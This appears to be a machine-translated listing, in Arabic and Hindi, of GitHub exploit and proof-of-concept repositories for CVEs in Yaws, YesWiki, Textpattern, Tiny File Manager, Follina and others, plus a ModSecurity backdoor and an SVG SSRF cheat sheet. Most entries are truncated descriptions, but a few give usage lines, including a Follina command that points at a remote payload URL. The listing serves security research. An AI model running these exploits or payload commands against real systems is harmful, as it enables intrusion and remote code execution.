poc-yaws-dav-xxe

ثغرة XXE في خادم الويب Yaws CVE-2020-24379 إثبات المفهوم قم ببناء صورة الاختبار: docker build -t vulnbe/yaws-pocs:xxe-dav-mod -f Dockerfile . و/أو قم بتشغيل الحاوية docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:xxe-dav-mod ثم نفّذ: curl -i -s -k -X LOCK http://localhost:8000/ -H...

cve_2013_3893_trigger.html

لا يحتوي هذا المستودع على ملف README...

CVE-2025-31131

CVE-2025-31131 - ثغرة تجاوز المسار في YesWiki 4.5.2 هذا استغلال غير مصادق عليه لثغرة تجاوز المسار يستهدف إصدارات YesWiki الأقدم من 4.5.2. توجد الثغرة في المعلمة squelette، والتي تسمح بقراءة ملفات عشوائية من الخادم. تفاصيل الثغرة CVE-ID: CVE-2025-31131 البرنامج المتأثر: YesWiki 4.5.2 النوع: تجاوز...

Atom-CMS-2.0---File-Upload-Remote-Code-Execution-Un-Authenticated-POC

Atom-CMS-2.0---File-Upload-Remote-Code-Execution-Un-Authenticated- تنفيذ التعليمات البرمجية عن بُعد RCE مؤلف الاستغلال: Ashish Koli Shikari الصفحة الرئيسية للبائع: https://thedigitalcraft.com/ رابط البرنامج: https://github.com/thedigicraft/Atom.CMS الإصدار: 2.0 CVE: CVE-2022-25487 حول هذا: يقوم ه...

textpattern-exploit-rce

Textpattern = 4.8.3 تنفيذ التعليمات البرمجية عن بُعد مصادق عليه يسمح Textpattern حتى الإصدار 4.8.3 للمستخدمين المصادق عليهم برفع أي ملف PHP. يقوم هذا السكربت بأتمتة العملية ويسمح بحذف الملف المرفوع. الاستخدام python3 exploit.py -t TARGET -u USER -p PASSWORD -c COMMAND -f FILENAME -d -t: عنوان URL...

Follina-CVE-2022-30190-POC

Follina-CVE-2022-30190 Nee द्वारा प्रमाण-अवधारणा उपयोग python3 follina.py --payload-url "http://192.168.200.144:1337/pwn.html" यह क्या करता है एक दुर्भावनापूर्ण वर्ड फ़ाइल बनाता है जो आपके द्वारा निर्दिष्ट पेलोड URL को इंगित करता है वेब फ़ोल्डर में स्थित डिफ़ॉल्ट पेलोड को होस्ट करता है...

CVE-2019-18426

تم نشر هذا في الأصل على حساب Github الرسمي لشركة PerimeterX عبر حساب Github الخاص بعملي. على الرغم من أن هذا هو عملي - فإن جميع الحقوق والمسائل القانونية تعود إلى شركة PerimeterX. الكشف عن ثغرات واتساب - Open Redirect + CSP Bypass + Persistent XSS + أذونات قراءة FS + إمكانية RCE CVE-2019-18426...

security-research

البحث الأمني مجموعة من الملفات المتعلقة بأبحاثي الأمنية الشخصية. سيتم نشر محتوى إضافي على مدونتي https://blog.mirch.io. الأدوات الأداة| الوصف ---|--- openssldircheck| أداة لنظام Windows للتحقق من المسارات غير الآمنة المحتملة المستخدمة بواسطة معامل البناء OPENSSLDIR في مكتبات OpenSSL ssscache2john...

CVE-2020-0753-and-CVE-2020-0754

تقرير وPOC لـ CVE-2020-0753 وCVE-2020-0754 وستة ثغرات DOS في Windows تم إصلاحها استغلال ثغرة حالة سباق في نظام الملفات - تحليل CVE-2020-0753 وCVE-2020-0754 خدمة الإبلاغ عن أخطاء Windows WER قامت بإصلاح ثغرتين لرفع الامتيازات في آخر Patch Tuesday، وقد تم تخصيص الثغرتين بـ CVE-2020-0753 و...

wafaray

WAF + YARA WAFARAY के साथ अपने मैलवेयर पहचान को बढ़ाएं WAFARAY, Debian 11.3.0 स्थिर x64 पर आधारित एक LAB तैनाती है, जो दो मुख्य सामग्री WAF + YARA के बीच बनाई और पकाई गई है, ताकि दुर्भावनापूर्ण फ़ाइलों जैसे वेबशेल, वायरस, मैलवेयर, बाइनरी का पता लगाया जा सके, आमतौर पर वेब फ़ंक्शंस फ़ाइलें अपलोड के...

tinyfilemanager-2.4.3-exploit

CVE-2021-45010 استغلال Tiny File Manager-2.4.3 ثغرة اجتياز المسار في وظيفة رفع الملفات في tinyfilemanager.php في Tiny File Manager الصادر عن مشروع Tiny File Manager = 2.4.6 تسمح للمهاجمين عن بُعد بحسابات مستخدمين صالحة برفع ملفات PHP خبيثة إلى جذر الويب وتحقيق تنفيذ التعليمات البرمجية على الخادم...

modsecurity-backdoor

باب خلفي لـ ModSecurity الوصف هذا إثبات مفهوم لبرمجية خبيثة تعمل داخل ModSecurity WAF. للبرمجية وظيفتان رئيسيتان: استرجاع محتوى الملفات. تنفيذ الأوامر واسترجاع المخرجات شل بعيد. بالإضافة إلى ذلك، تشمل البرمجية الوظائف التالية: ضبط ديناميكي لأسماء وسائط POST الخاصة بالتحكم لجعل الاكتشاف أصعب. تعطي...

parallels-file-move-privesc

parallels-file-move-privesc यह रिपॉजिटरी CVE-2023-50226 / ZDI-CAN-21227 के लिए एक एक्सप्लॉइट शामिल करती है, जिसका उपयोग Parallels Desktop के 18.3.2 से पहले के संस्करणों पर रूट विशेषाधिकारों को बढ़ाने के लिए किया जा सकता है।...

svg-cheatsheet

ورقة الغش لثغرات SSRF في SVG المضيفون الذين يعالجون ملفات SVG قد يكونون عرضة لثغرات SSRF وLFI وXSS وRCE بسبب مجموعة الميزات الغنية في SVG. جميع هذه الطرق تحدد URI، والتي يمكن أن تكون مطلقة أو نسبية. من المهم اختبار بروتوكولي الملف وHTTP، لكن التطبيق قد يدعم أيضًا بروتوكولات أخرى اعتمادًا على...

CVE-2026-66750-Insufficient-Access-Controls-Allow-for-Unauthorized-File-Downloads-Let-s-Chat-

استشارة أمنية: ضوابط وصول غير كافية تسمح بتنزيل ملفات غير مصرح به Let's Chat معرّف CVE المعيّن: CVE-2026-66750 ملخص يتحقق GET /files/:id/:name من أن المتصل قد سجّل الدخول ثم يقدّم الملف. لكنه لا يتحقق أبدًا مما إذا كان المتصل مخوّلًا لرؤية الغرفة التي ينتمي إليها الملف. وبالتالي يمكن لأي حساب قرا...

sploits

sploits | Code| Description ---|---|--- CVE-2018-4310| code| MediaRemote: تمت معالجة مشكلة وصول من خلال إضافة المزيد من قيود العزل sandbox CVE-2018-4991| code| إصدارات تطبيق Adobe Creative Cloud Desktop 4.4.1.298 والإصدارات الأقدم تحتوي على ثغرة قابلة للاستغلال في التحقق غير السليم من الشهادة. قد...

CVE-2018-12463

CVE-2018-12463 XML एक्सटर्नल एंटिटी XXE भेद्यता /ssc/fm-ws/services में Fortify Software Security Center SSC 17.10, 17.20 और 18.10 में रिमोट अनऑथेंटिकेटेड उपयोगकर्ताओं को XML अनुरोध में एक क्राफ्टेड DTD के माध्यम से मनमानी फ़ाइलें पढ़ने या सर्वर-साइड रिक्वेस्ट फोर्जरी SSRF हमले करने की अनुमति देत...

gitbook-xss

gitbook-xss CVE-2019-19596 يسمح GitBook حتى الإصدار 2.6.9 بحدوث XSS عبر ملف .md محلي عند إدخال سكربت في ملف MD، يمكن تنفيذه بواسطة gitbook...

zip_bomb

منشئ قنبلة ZIP ZIP Bomb Creator هي أداة تُستخدم لإنشاء ملف ZIP صغير الحجم لكنه يتمدد بشكل هائل عند فك الضغط. هذا مفيد للتجارب الأمنية واختبار أنظمة الملفات ضد هجمات قنبلة ZIP. الميزات إنشاء قنبلة ZIP بعدد ملفات وحجم قابلين للتكوين. دعم وحدات حجم مختلفة KB، MB، GB. يستخدم ZIP64 للتعامل مع الملفات...

Shadow-Vault

Shadow Vault 🔐 Shadow Vault هي أداة ويب خفيفة مبنية بلغة PHP مصممة لـ مدراء الأنظمة لإضافة بيانات اعتماد مستخدمين جدد بشكل آمن إلى ملفات shadow في بيئات الاستضافة المشتركة. تكتشف تلقائيًا تنسيق تقادم shadow الموجود، وتستخدم تجزئة كلمات المرور SHA-512، وتدعم طرق كتابة احتياطية متعددة، بل وتوفر تسج...